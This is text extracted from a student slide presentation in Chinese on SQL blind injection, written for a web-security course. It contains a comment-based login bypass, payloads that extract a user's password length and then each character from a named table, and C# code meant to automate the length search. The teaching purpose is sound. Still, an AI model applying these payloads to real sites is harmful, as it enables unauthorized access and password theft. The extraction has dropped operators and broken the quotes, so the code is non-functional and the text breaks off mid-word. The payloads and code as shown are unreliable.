web安全BlindSQLInj.ppt

1,SQL Blind Injection,小組成員：李昌華、肖箭、覃歡 2011-11-04,2,目錄,3,目錄,當(dāng)一個攻擊者通過在查詢語句中插入一系列的SQL語句來將數(shù)據(jù)寫入到應(yīng)用程序中,從一個數(shù)據(jù)庫獲得未經(jīng)授權(quán)的訪問和直接檢索.通過構(gòu)造一些畸形的輸入，攻擊者能夠操作這種請求語句去獲取預(yù)先未知的結(jié)果。,一、SQL Blind Injection,基本的句法的過程即通過標(biāo)準(zhǔn)的SELECT WHERE語句，被注入的參數(shù)（即注入點(diǎn)）就是WHERE語句的一部分。為了確定正確的注入句法，攻擊者必須能夠在最初的WHERE語句后添加其他數(shù)據(jù)，使其能返回非預(yù)期的結(jié)果。對一些簡單的應(yīng)用程序，僅僅加上OR 1=1就可以完成，但在大多數(shù)情況下如果想構(gòu)造出成功的利用代碼，這樣做當(dāng)然是不夠的。經(jīng)常需要解決的問題是如何配對插入語符號（parenthesis，比如成對的括號），使之能與前面的已使用的符號，比如左括號匹配。 對于一些注入利用，僅僅改變WHERE語句就足夠了，但對于其他情況，比如UNION SELECT注入或存儲過程（stored procedures）注入，還需要能先順利地結(jié)束整個SQL請求語句，然后才能添加其他攻擊者所需要的SQL語句。在這種情況下，攻擊者可以選擇使用SQL注釋符號來結(jié)束語句，該符號是兩個連續(xù)的破折號（-），它要求SQL Server忽略其后同一行的所有輸入。例如，一個登錄頁面需要訪問者輸入用戶名和密碼，并將其提交給SQL請求語句： SELECT Username, UserID, Password FROM Users WHERE Username = user AND Password = pass 通過輸入john-作為用戶名，將會構(gòu)造出以下WHERE語句： WHERE Username = john -AND Password = pass 這時，該語句不但符合SQL語法，而且還使用戶跳過了密碼認(rèn)證,二、常見的攻擊方法,確定注入點(diǎn),構(gòu)造正確的 注入語句,獲得預(yù)期結(jié)果,三、攻擊步驟,定位漏洞,非授權(quán)訪問,實施攻擊,四、程序,原始查詢語句（網(wǎng)頁的源文件） string sqlSel = “select count(*) from tb_userInfo where userName=“ + txtUserName.Text + “ and userPass=“+pass+“; 1.猜測賬戶名： 輸入任意賬戶測試 如200808 密碼非空隨便輸 驗證碼,2.猜測到手的賬戶對應(yīng)的密碼長度： 200808 and exists(select userName from tb_userInfo where len(userPass)6 and userName=200808)- 密碼非空隨便輸 驗證碼,3.猜測到手的賬戶對應(yīng)的密碼（逐位的判斷） 200808 and (select ASCII(SUBSTRING(userPass,1,1) from tb_userInfo where userName=200808) 97 -,四、步驟和SQL語句,二分法可以使得測試長度的結(jié)果收斂的更快,二分查找的代碼,快速猜測 程序,protect int getPasswordLen(int MaxPassLen,int MinPasstLen) /創(chuàng)建數(shù)據(jù)庫連接 SqlConnection con = new SqlConnection(“server=.;database=WebSecurityHomeWork;uid=sa;pwd=123;“); /打開數(shù)據(jù)庫連接 con.Open(); string basesql=“200808 and exists(select userName from tb_userInfo where len(userPass)“; string endsql=“ and userName=200808)-“; while() int currentLen=(MaxPassLen+MinPassLen)/2; string sqlSel=basesql+“=“+currentLen.toString()+endsql; /創(chuàng)建SqlCommand對象 SqlCommand com = new SqlCommand(sqlSel, con); if(Convert.ToInt32(com.ExecuteScalar() 0) return currentLen; /創(chuàng)建SqlCommand對象 SqlCommand com1 = new SqlCommand(sqlSel, con); sqlSel=basesql+“+currentLen.toString()+endsql; if(Convert.ToInt32(com.ExecuteScalar() 0) MinPasstLen=(currentLen+1+MaxPassLen)/2; getPasswordLen(int MaxPassLen,int MinPasstLen); el